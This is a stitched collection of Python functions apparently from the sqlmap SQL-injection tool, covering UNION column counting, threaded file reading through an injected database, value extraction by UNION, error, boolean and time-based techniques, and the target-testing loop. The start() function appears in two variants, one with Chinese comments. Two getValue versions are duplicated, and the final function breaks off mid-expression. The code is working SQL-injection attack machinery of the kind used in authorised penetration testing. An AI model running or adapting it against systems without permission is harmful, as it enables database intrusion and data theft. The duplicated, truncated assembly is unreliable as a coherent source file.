def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL): """ Finds number of columns affected by UNION based injection """ retVal = None def _orderByTechnique(): def _orderByTest(cols): query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix) query = agent.suffixQuery(query, suffix=suffix, comment=comment) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where) page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) return not re.search(r"(warning|error|order by|failed)", page or "", re.I) and comparison(page, headers) or re.search(r"data types cannot be compared or sorted", page or "", re.I) if _orderByTest(1) and not _orderByTest(randomInt()): infoMsg = "ORDER BY technique seems to be usable. " infoMsg += "This should reduce the time needed " infoMsg += "to find the right number " infoMsg += "of query columns. Automatically extending the " infoMsg += "range for current UNION query injection technique test" singleTimeLogMessage(infoMsg) lowCols, highCols = 1, ORDER_BY_STEP found = None while not found: if _orderByTest(highCols): lowCols = highCols highCols += ORDER_BY_STEP else: while not found: mid = highCols - (highCols - lowCols) / 2 if _orderByTest(mid): lowCols = mid else: highCols = mid if (highCols - lowCols) < 2: found = lowCols return found pushValue(kb.errorIsNone) items, ratios = [], [] kb.errorIsNone = False lowerCount, upperCount = conf.uColsStart, conf.uColsStop if lowerCount == 1: found = kb.orderByColumns or _orderByTechnique() if found: kb.orderByColumns = found infoMsg = "target url appears to have %d column%s in query" % (found, 's' if found > 1 else "") singleTimeLogMessage(infoMsg) return found if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: upperCount = lowerCount + MIN_UNION_RESPONSES min_, max_ = MAX_RATIO, MIN_RATIO pages = {} for count in xrange(lowerCount, upperCount + 1): query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) page, headers = Request.queryPage(payload, place=place, content=True, raise404=False) if not isNullValue(kb.uChar): pages[count] = page ratio = comparison(page, headers, getRatioValue=True) or MIN_RATIO ratios.append(ratio) min_, max_ = min(min_, ratio), max(max_, ratio) items.append((count, ratio)) if not isNullValue(kb.uChar): for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar): contains = [(count, re.search(regex, page or "", re.IGNORECASE) is not None) for count, page in pages.items()] if len(filter(lambda x: x[1], contains)) == 1: retVal = filter(lambda x: x[1], contains)[0][0] break if not retVal: ratios.pop(ratios.index(min_)) ratios.pop(ratios.index(max_)) minItem, maxItem = None, None for item in items: if item[1] == min_: minItem = item elif item[1] == max_: maxItem = item if all(map(lambda x: x == min_ and x != max_, ratios)): retVal = maxItem[0] elif all(map(lambda x: x != min_ and x == max_, ratios)): retVal = minItem[0] elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE: deviation = stdev(ratios) lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation if min_ < lower: retVal = minItem[0] if max_ > upper: if retVal is None or abs(max_ - upper) > abs(min_ - lower): retVal = maxItem[0] kb.errorIsNone = popValue() if retVal: infoMsg = "target url appears to be UNION injectable with %d columns" % retVal singleTimeLogMessage(infoMsg) return retVal
def fileExists(pathFile): retVal = [] paths = getFileItems(pathFile, unique=True) kb.bruteMode = True try: conf.dbmsHandler.readFile(randomStr()) except SqlmapNoneDataException: pass except: kb.bruteMode = False raise threadData = getCurrentThreadData() threadData.shared.count = 0 threadData.shared.limit = len(paths) threadData.shared.value = [] def fileExistsThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.count.acquire() if threadData.shared.count < threadData.shared.limit: path = paths[threadData.shared.count] threadData.shared.count += 1 kb.locks.count.release() else: kb.locks.count.release() break try: result = unArrayizeValue(conf.dbmsHandler.readFile(path)) except SqlmapNoneDataException: result = None kb.locks.io.acquire() if not isNoneValue(result): threadData.shared.value.append(result) if conf.verbose in (1, 2) and not conf.api: clearConsoleLine(True) infoMsg = "[%s] [INFO] retrieved: '%s'\n" % ( time.strftime("%X"), path) dataToStdout(infoMsg, True) if conf.verbose in (1, 2): status = '%d/%d items (%d%%)' % ( threadData.shared.count, threadData.shared.limit, round(100.0 * threadData.shared.count / threadData.shared.limit)) dataToStdout( "\r[%s] [INFO] tried %s" % (time.strftime("%X"), status), True) kb.locks.io.release() try: pushValue(logger.getEffectiveLevel()) logger.setLevel(logging.CRITICAL) runThreads(conf.threads, fileExistsThread, threadChoice=True) except KeyboardInterrupt: warnMsg = "user aborted during file existence " warnMsg += "check. sqlmap will display partial output" logger.warn(warnMsg) finally: kb.bruteMode = False logger.setLevel(popValue()) clearConsoleLine(True) dataToStdout("\n") if not threadData.shared.value: warnMsg = "no file(s) found" logger.warn(warnMsg) else: retVal = threadData.shared.value return retVal
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. """ if conf.hexConvert and expected != EXPECTED.BOOL and Backend.getIdentifiedDbms( ): if not hasattr(queries[Backend.getIdentifiedDbms()], "hex"): warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms( ) singleTimeWarnMessage(warnMsg) conf.hexConvert = False else: charsetType = CHARSET_TYPE.HEXADECIMAL kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue for keyword in GET_VALUE_UPPERCASE_KEYWORDS: expression = re.sub(r"(?i)(\A|\(|\)|\s)%s(\Z|\(|\)|\s)" % keyword, r"\g<1>%s\g<2>" % keyword, expression) if suppressOutput is not None: pushValue(getCurrentThreadData().disableStdOut) getCurrentThreadData().disableStdOut = suppressOutput try: pushValue(conf.db) pushValue(conf.tbl) if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression if expression.startswith("SELECT "): booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1") else: forgeCaseExpression = agent.forgeCaseStatement(expression) if conf.direct: value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression) elif any( isTechniqueAvailable(_) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True)): query = cleanQuery(expression) query = expandAsteriskForColumns(query) value = None found = False count = 0 if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I): query = query.replace("DISTINCT ", "") if not conf.forceDns: if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): setTechnique(PAYLOAD.TECHNIQUE.UNION) kb.forcePartialUnion = kb.injection.data[ PAYLOAD.TECHNIQUE.UNION].vector[8] fallback = not expected and kb.injection.data[ PAYLOAD.TECHNIQUE. UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion if expected == EXPECTED.BOOL: # Note: some DBMSes (e.g. Altibase) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq') if not any(_ in forgeCaseExpression for _ in ("SELECT", "CASE")): forgeCaseExpression = "(CASE WHEN (%s) THEN '1' ELSE '0' END)" % forgeCaseExpression try: value = _goUnion( forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) except SqlmapConnectionException: if not fallback: raise count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if not found and fallback: warnMsg = "something went wrong with full UNION " warnMsg += "technique (could be because of " warnMsg += "limitation on retrieved number of entries)" if " FROM " in query.upper(): warnMsg += ". Falling back to partial UNION technique" singleTimeWarnMessage(warnMsg) try: pushValue(kb.forcePartialUnion) kb.forcePartialUnion = True value = _goUnion(query, unpack, dump) found = (value is not None) or (value is None and expectingNone) finally: kb.forcePartialUnion = popValue() else: singleTimeWarnMessage(warnMsg) if error and any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found: setTechnique(PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY) value = errorUse( forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if found and conf.dnsDomain: _ = "".join( filterNone( key if isTechniqueAvailable(value) else None for key, value in { 'E': PAYLOAD.TECHNIQUE.ERROR, 'Q': PAYLOAD.TECHNIQUE.QUERY, 'U': PAYLOAD.TECHNIQUE.UNION }.items())) warnMsg = "option '--dns-domain' will be ignored " warnMsg += "as faster techniques are usable " warnMsg += "(%s) " % _ singleTimeWarnMessage(warnMsg) if blind and isTechniqueAvailable( PAYLOAD.TECHNIQUE.BOOLEAN) and not found: setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN) if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable( PAYLOAD.TECHNIQUE.STACKED)) and not found: match = re.search(r"\bFROM\b ([^ ]+).+ORDER BY ([^ ]+)", expression) kb.responseTimeMode = "%s|%s" % ( match.group(1), match.group(2)) if match else None if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): setTechnique(PAYLOAD.TECHNIQUE.TIME) else: setTechnique(PAYLOAD.TECHNIQUE.STACKED) if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" raise SqlmapNotVulnerableException(errMsg) finally: kb.resumeValues = True kb.responseTimeMode = None conf.tbl = popValue() conf.db = popValue() if suppressOutput is not None: getCurrentThreadData().disableStdOut = popValue() kb.safeCharEncode = False if not any((kb.testMode, conf.dummy, conf.offline, conf.noCast, conf.hexConvert)) and value is None and Backend.getDbms( ) and conf.dbmsHandler and kb.fingerprinted: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' " warnMsg += "or switch '--hex'" if hasattr( queries[Backend.getIdentifiedDbms()], "hex") else "" singleTimeWarnMessage(warnMsg) # Dirty patch (MSSQL --binary-fields with 0x31003200...) if Backend.isDbms(DBMS.MSSQL) and conf.binaryFields: def _(value): if isinstance(value, six.text_type): if value.startswith(u"0x"): value = value[2:] if value and len(value) % 4 == 0: candidate = "" for i in xrange(len(value)): if i % 4 < 2: candidate += value[i] elif value[i] != '0': candidate = None break if candidate: value = candidate return value value = applyFunctionRecursively(value, _) # Dirty patch (safe-encoded unicode characters) if isinstance(value, six.text_type) and "\\x" in value: try: candidate = eval( repr(value).replace("\\\\x", "\\x").replace( "u'", "'", 1)).decode(conf.encoding or UNICODE_ENCODING) if "\\x" not in candidate: value = candidate except: pass return extractExpectedValue(value, expected)
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. """ if conf.hexConvert: charsetType = CHARSET_TYPE.HEXADECIMAL kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue for keyword in GET_VALUE_UPPERCASE_KEYWORDS: expression = re.sub(r"(?i)(\A|\(|\)|\s)%s(\Z|\(|\)|\s)" % keyword, r"\g<1>%s\g<2>" % keyword, expression) if suppressOutput is not None: pushValue(getCurrentThreadData().disableStdOut) getCurrentThreadData().disableStdOut = suppressOutput try: pushValue(conf.db) pushValue(conf.tbl) if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression if expression.startswith("SELECT "): booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1") else: forgeCaseExpression = agent.forgeCaseStatement(expression) if conf.direct: value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression) elif any( isTechniqueAvailable(_) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True)): query = cleanQuery(expression) query = expandAsteriskForColumns(query) value = None found = False count = 0 if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I): query = query.replace("DISTINCT ", "") if not conf.forceDns: if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): kb.technique = PAYLOAD.TECHNIQUE.UNION kb.forcePartialUnion = kb.injection.data[ PAYLOAD.TECHNIQUE.UNION].vector[8] fallback = not expected and kb.injection.data[ PAYLOAD.TECHNIQUE. UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion try: value = _goUnion( forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) except SqlmapConnectionException: if not fallback: raise count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if not found and fallback: warnMsg = "something went wrong with full UNION " warnMsg += "technique (could be because of " warnMsg += "limitation on retrieved number of entries)" if " FROM " in query.upper(): warnMsg += ". Falling back to partial UNION technique" singleTimeWarnMessage(warnMsg) try: pushValue(kb.forcePartialUnion) kb.forcePartialUnion = True value = _goUnion(query, unpack, dump) found = (value is not None) or (value is None and expectingNone) finally: kb.forcePartialUnion = popValue() else: singleTimeWarnMessage(warnMsg) if error and any( isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found: kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable( PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY value = errorUse( forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if found and conf.dnsDomain: _ = "".join( filter(None, (key if isTechniqueAvailable(value) else None for key, value in { 'E': PAYLOAD.TECHNIQUE.ERROR, 'Q': PAYLOAD.TECHNIQUE.QUERY, 'U': PAYLOAD.TECHNIQUE.UNION }.items()))) warnMsg = "option '--dns-domain' will be ignored " warnMsg += "as faster techniques are usable " warnMsg += "(%s) " % _ singleTimeWarnMessage(warnMsg) if blind and isTechniqueAvailable( PAYLOAD.TECHNIQUE.BOOLEAN) and not found: kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) count += 1 found = (value is not None) or ( value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable( PAYLOAD.TECHNIQUE.STACKED)) and not found: kb.responseTimeMode = re.sub( r"(?i)[^a-z]", "", re.sub(r"'[^']+'", "", re.sub(r"(?i)(\w+)\(.+\)", r"\g<1>", expression))) if re.search( r"(?i)SELECT.+FROM", expression) else None if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): kb.technique = PAYLOAD.TECHNIQUE.TIME else: kb.technique = PAYLOAD.TECHNIQUE.STACKED if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" raise SqlmapNotVulnerableException(errMsg) finally: kb.resumeValues = True kb.responseTimeMode = None conf.tbl = popValue() conf.db = popValue() if suppressOutput is not None: getCurrentThreadData().disableStdOut = popValue() kb.safeCharEncode = False if not any( (kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms( ) and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' " warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in ( DBMS.ACCESS, DBMS.FIREBIRD) else "" singleTimeWarnMessage(warnMsg) # Dirty patch (safe-encoded unicode characters) if isinstance(value, unicode) and "\\x" in value: try: candidate = eval( repr(value).replace("\\\\x", "\\x").replace("u'", "'", 1)).decode(UNICODE_ENCODING) if "\\x" not in candidate: value = candidate except: pass return extractExpectedValue(value, expected)
def start(): """ 此函数调用一个功能,对URL稳定性和所有GET,POST,Cookie和User-Agent参数进行检查, 以检查它们是否为动态且SQL注入受影响。 """ if conf.direct: initTargetEnv() #完成全局变量conf和kb的初始化工作 setupTargetEnv() #完成针对目标网址的解析工作,如获取协议名、路径、端口、请求参数等信息 action() return True if conf.url and not any((conf.forms, conf.crawlDepth)): kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None)) if conf.configFile and not kb.targets: errMsg = u"您没有正确编辑配置文件,请设置 " errMsg += u"目标网址,目标清单或Google dork" logger.error(errMsg) return False if kb.targets and len(kb.targets) > 1: infoMsg = u"sqlmap共有%d个目标" % len(kb.targets) logger.info(infoMsg) hostCount = 0 initialHeaders = list(conf.httpHeaders) for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets: try: if conf.checkInternet: infoMsg = u"[信息] 检查互联网连接" logger.info(infoMsg) if not checkInternet(): warnMsg = u"[%s] [警告] 没有检测到连接" % time.strftime("%X") dataToStdout(warnMsg) while not checkInternet(): dataToStdout('.') time.sleep(5) dataToStdout("\n") conf.url = targetUrl conf.method = targetMethod.upper( ) if targetMethod else targetMethod conf.data = targetData conf.cookie = targetCookie conf.httpHeaders = list(initialHeaders) conf.httpHeaders.extend(targetHeaders or []) initTargetEnv() parseTargetUrl() testSqlInj = False if PLACE.GET in conf.parameters and not any( [conf.data, conf.testParameter]): for parameter in re.findall( r"([^=]+)=([^%s]+%s?|\Z)" % (re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER, re.escape(conf.paramDel or "") or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0]) if paramKey not in kb.testedParams: testSqlInj = True break else: paramKey = (conf.hostname, conf.path, None, None) if paramKey not in kb.testedParams: testSqlInj = True if testSqlInj and conf.hostname in kb.vulnHosts: if kb.skipVulnHost is None: message = u"已经针对'%s'检测到SQL注入漏洞。 " % conf.hostname message += u"你想跳过进一步的测试吗? [Y/n]" kb.skipVulnHost = readInput(message, default='Y', boolean=True) testSqlInj = not kb.skipVulnHost if not testSqlInj: infoMsg = u"跳过'%s'" % targetUrl logger.info(infoMsg) continue if conf.multipleTargets: hostCount += 1 if conf.forms and conf.method: message = "[#%d] form:\n%s %s" % (hostCount, conf.method, targetUrl) else: message = "URL %d:\n%s %s" % (hostCount, HTTPMETHOD.GET, targetUrl) if conf.cookie: message += "\nCookie: %s" % conf.cookie if conf.data is not None: message += "\n%s data: %s" % ( (conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST, urlencode(conf.data) if conf.data else "") if conf.forms and conf.method: if conf.method == HTTPMETHOD.GET and targetUrl.find( "?") == -1: continue message += u"\n你想测试这个表单吗? [Y/n/q] " choice = readInput(message, default='Y').upper() if choice == 'N': continue elif choice == 'Q': break else: if conf.method != HTTPMETHOD.GET: message = u"编辑 %s 数据 [默认值: %s]%s: " % ( conf.method, urlencode(conf.data) if conf.data else "None", "(警告:检测到空白字段)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "") conf.data = readInput(message, default=conf.data) conf.data = _randomFillBlankFields(conf.data) conf.data = urldecode( conf.data) if conf.data and urlencode( DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data else: if targetUrl.find("?") > -1: firstPart = targetUrl[:targetUrl.find("?")] secondPart = targetUrl[targetUrl.find("?") + 1:] message = u"编辑GET数据 [默认值: %s]: " % secondPart test = readInput(message, default=secondPart) test = _randomFillBlankFields(test) conf.url = "%s?%s" % (firstPart, test) parseTargetUrl() else: message += u"\n你想测试这个URL吗? [Y/n/q]" choice = readInput(message, default='Y').upper() if choice == 'N': dataToStdout(os.linesep) continue elif choice == 'Q': break infoMsg = u"测试目标URL '%s'" % targetUrl logger.info(infoMsg) setupTargetEnv() if not checkConnection(suppressOutput=conf.forms ) or not checkString() or not checkRegexp(): continue checkWaf() if conf.identifyWaf: identifyWaf() if conf.nullConnection: checkNullConnection() if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \ and (kb.injection.place is None or kb.injection.parameter is None): if not any( (conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech: # 注意:这不再需要, # 只有在页面不稳定的情况下才向用户显示警告消息 checkStability() # 对可测试参数列表进行一些优先级排序 parameters = conf.parameters.keys() # 测试列表顺序(从头到尾) orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET) for place in orderList[::-1]: if place in parameters: parameters.remove(place) parameters.insert(0, place) proceed = True for place in parameters: # 只有--level> = 3时,才测试User-Agent和Referer头 skip = (place == PLACE.USER_AGENT and conf.level < 3) skip |= (place == PLACE.REFERER and conf.level < 3) # 只有--level >= 5时,才测试主机头 skip |= (place == PLACE.HOST and conf.level < 5) # 只有--level> = 2时,才测试Cookie header skip |= (place == PLACE.COOKIE and conf.level < 2) skip |= (place == PLACE.USER_AGENT and intersect( USER_AGENT_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.REFERER and intersect( REFERER_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.COOKIE and intersect( PLACE.COOKIE, conf.skip, True) not in ([], None)) skip |= (place == PLACE.HOST and intersect( PLACE.HOST, conf.skip, True) not in ([], None)) skip &= not (place == PLACE.USER_AGENT and intersect( USER_AGENT_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.REFERER and intersect( REFERER_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.HOST and intersect( HOST_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.COOKIE and intersect( (PLACE.COOKIE, ), conf.testParameter, True)) if skip: continue if kb.testOnlyCustom and place not in ( PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER): continue if place not in conf.paramDict: continue paramDict = conf.paramDict[place] paramType = conf.method if conf.method not in ( None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place for parameter, value in paramDict.items(): if not proceed: break kb.vainRun = False testSqlInj = True paramKey = (conf.hostname, conf.path, place, parameter) if paramKey in kb.testedParams: testSqlInj = False infoMsg = u"跳过以前处理的%s参数'%s'" % (paramType, parameter) logger.info(infoMsg) elif parameter in conf.testParameter: pass elif parameter == conf.rParam: testSqlInj = False infoMsg = u"跳过随机的%s参数'%s'" % (paramType, parameter) logger.info(infoMsg) elif parameter in conf.skip or kb.postHint and parameter.split( ' ')[-1] in conf.skip: testSqlInj = False infoMsg = u"跳过%s个参数'%s'" % (paramType, parameter) logger.info(infoMsg) elif conf.paramExclude and ( re.search(conf.paramExclude, parameter, re.I) or kb.postHint and re.search(conf.paramExclude, parameter.split(' ')[-1], re.I)): testSqlInj = False infoMsg = u"跳过%s个参数'%s'" % (paramType, parameter) logger.info(infoMsg) elif parameter == conf.csrfToken: testSqlInj = False infoMsg = u"跳过anti-CSRF token参数'%s'" % parameter logger.info(infoMsg) # 忽略--level < 4 的会话类参数 elif conf.level < 4 and ( parameter.upper() in IGNORE_PARAMETERS or parameter.upper().startswith( GOOGLE_ANALYTICS_COOKIE_PREFIX)): testSqlInj = False infoMsg = u"忽略%s参数'%s'" % (paramType, parameter) logger.info(infoMsg) elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech or conf.skipStatic: check = checkDynParam(place, parameter, value) if not check: warnMsg = u"%s参数'%s'似乎不是动态的" % (paramType, parameter) logger.warn(warnMsg) if conf.skipStatic: infoMsg = u"跳过静态%s参数'%s'" % (paramType, parameter) logger.info(infoMsg) testSqlInj = False else: infoMsg = u"%s参数'%s'是动态的" % (paramType, parameter) logger.info(infoMsg) kb.testedParams.add(paramKey) if testSqlInj: try: if place == PLACE.COOKIE: pushValue(kb.mergeCookies) kb.mergeCookies = False check = heuristicCheckSqlInjection( place, parameter) if check != HEURISTIC_TEST.POSITIVE: if conf.smart or ( kb.ignoreCasted and check == HEURISTIC_TEST.CASTED): infoMsg = u"跳过%s参数'%s'" % (paramType, parameter) logger.info(infoMsg) continue infoMsg = u"在%s参数'%s'上测试SQL注入" % (paramType, parameter) logger.info(infoMsg) injection = checkSqlInjection( place, parameter, value) proceed = not kb.endDetection injectable = False if getattr(injection, "place", None) is not None: if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes: kb.falsePositives.append(injection) else: injectable = True kb.injections.append(injection) # 如果用户想要结束检测阶段(Ctrl + C) if not proceed: break msg = u"%s 参数 '%s' " % ( injection.place, injection.parameter) msg += u"很容易受到攻击,你想继续测试其他的参数吗(如果有的话)? [y/N] " if not readInput(msg, default='N', boolean=True): proceed = False paramKey = (conf.hostname, conf.path, None, None) kb.testedParams.add(paramKey) if not injectable: warnMsg = u"%s参数'%s'似乎不能注入 " % (paramType, parameter) logger.warn(warnMsg) finally: if place == PLACE.COOKIE: kb.mergeCookies = popValue() if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None): if kb.vainRun and not conf.multipleTargets: errMsg = u"在提供的数据中没有找到用于测试的参数" errMsg += u"(例如 www.site.com/index.php?id=1 中的GET参数'id')" raise SqlmapNoneDataException(errMsg) else: errMsg = u"所有测试参数似乎都不可注入," if conf.level < 5 or conf.risk < 3: errMsg += u"尝试增加'--level'/'--risk'值进行更多测试," if isinstance(conf.tech, list) and len(conf.tech) < 5: errMsg += u"重新运行不提供选项“--technique”" if not conf.textOnly and kb.originalPage: percent = ( 100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage)) if kb.dynamicMarkings: errMsg += u"如果目标页面的文本内容比例很低" # Python输出两位小数的百分数 # 由于%在string format中是特殊符号,所以使用%%才输出% errMsg += u"(页面内容的~%.2f%%是文本)则可以使用'--text-only'来切换" % percent elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone: # 当页面文本内容小于20%时 errMsg += u"请使用选项'--text-only'(连同 --technique=BU)重试" errMsg += u"因为这种情况看起来是一个完美的备用计划" errMsg += u"(文本内容较少,以及比较引擎无法检测到至少一个动态参数)" if kb.heuristicTest == HEURISTIC_TEST.POSITIVE: errMsg += u"从启发式测试结果来看,还是有希望的," errMsg += u"强烈建议您继续进行测试," errMsg += u"请考虑使用tamper脚本,因为您的目标可能会过滤查询," if not conf.string and not conf.notString and not conf.regexp: errMsg += u"此外,您可以尝试通过提供选项'--string'" errMsg += u"(或'--regexp')的有效值来重新运行," elif conf.string: errMsg += u"此外,您可以尝试通过提供'--string'选项的有效值来重新运行," errMsg += u"也许您选择的字符串不完全匹配True响应" elif conf.regexp: errMsg += u"此外,您可以尝试通过为选项'--regexp'提供有效值来重新运行," errMsg += u"也许您所选择的正则表达式不完全匹配True响应" if not conf.tamper: errMsg += u"如果您怀疑有某种保护机制(例如 WAF),\r\n您可以使用选项'--tamper'重试 " errMsg += u"(例如 '--tamper=space2comment')" raise SqlmapNotVulnerableException(errMsg.rstrip('.')) else: # Flush the flag kb.testMode = False _saveToResultsFile() _saveToHashDB() _showInjections() _selectInjection() if kb.injection.place is not None and kb.injection.parameter is not None: if conf.multipleTargets: message = u"你想利用这个SQL注入吗? [Y/n] " condition = readInput(message, default='Y', boolean=True) else: condition = True if condition: action() except KeyboardInterrupt: if conf.multipleTargets: warnMsg = u"用户在多目标模式下中止" logger.warn(warnMsg) message = u"你想跳到列表中的下一个目标吗? [Y/n/q]" choice = readInput(message, default='Y').upper() if choice == 'N': return False elif choice == 'Q': raise SqlmapUserQuitException else: raise except SqlmapUserQuitException: raise except SqlmapSilentQuitException: raise except SqlmapBaseException, ex: errMsg = getSafeExString(ex) if conf.multipleTargets: _saveToResultsFile() errMsg += u", 跳到下一个%s" % ("form" if conf.forms else "URL") logger.error(errMsg.lstrip(", ")) else: logger.critical(errMsg) return False finally:
def start(): """ This function calls a function that performs checks on both URL stability and all GET, POST, Cookie and User-Agent parameters to check if they are dynamic and SQL injection affected """ if conf.hashFile: crackHashFile(conf.hashFile) if conf.direct: initTargetEnv() setupTargetEnv() action() return True if conf.url and not any((conf.forms, conf.crawlDepth)): kb.targets.add((conf.url, conf.method, conf.data, conf.cookie, None)) if conf.configFile and not kb.targets: errMsg = "you did not edit the configuration file properly, set " errMsg += "the target URL, list of targets or google dork" logger.error(errMsg) return False if kb.targets and len(kb.targets) > 1: infoMsg = "sqlmap got a total of %d targets" % len(kb.targets) logger.info(infoMsg) hostCount = 0 initialHeaders = list(conf.httpHeaders) for targetUrl, targetMethod, targetData, targetCookie, targetHeaders in kb.targets: try: if conf.checkInternet: infoMsg = "checking for Internet connection" logger.info(infoMsg) if not checkInternet(): warnMsg = "[%s] [WARNING] no connection detected" % time.strftime( "%X") dataToStdout(warnMsg) while not checkInternet(): dataToStdout('.') time.sleep(5) dataToStdout("\n") conf.url = targetUrl conf.method = targetMethod.upper( ) if targetMethod else targetMethod conf.data = targetData conf.cookie = targetCookie conf.httpHeaders = list(initialHeaders) conf.httpHeaders.extend(targetHeaders or []) if conf.randomAgent or conf.mobile: for header, value in initialHeaders: if header.upper() == HTTP_HEADER.USER_AGENT.upper(): conf.httpHeaders.append((header, value)) break conf.httpHeaders = [ conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in ( 